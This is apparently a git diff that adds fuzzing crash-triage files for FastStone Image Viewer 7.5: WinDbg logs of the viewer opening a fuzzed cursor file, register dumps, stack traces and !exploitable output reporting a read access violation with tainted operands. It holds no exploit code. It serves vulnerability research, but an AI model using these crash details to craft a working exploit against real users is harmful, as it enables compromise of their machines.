00963a10 00339000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..10c2538 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1058.500): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07ea7b10 edx=00003879 esi=12768f40 edi=0f672fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.87118e-010 3.55349e-033 2.44526e+025 8.011e+008 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00339000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00339000 b6c50165 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00339000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d580012 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d1ea85e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c63ed6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/60844/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B14: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B14: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b14.1618): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07ea7b10 edx=00003879 esi=ff230010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.03519e+036 3.9003e-030 -7.15561e-028 -3.38477e-005 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 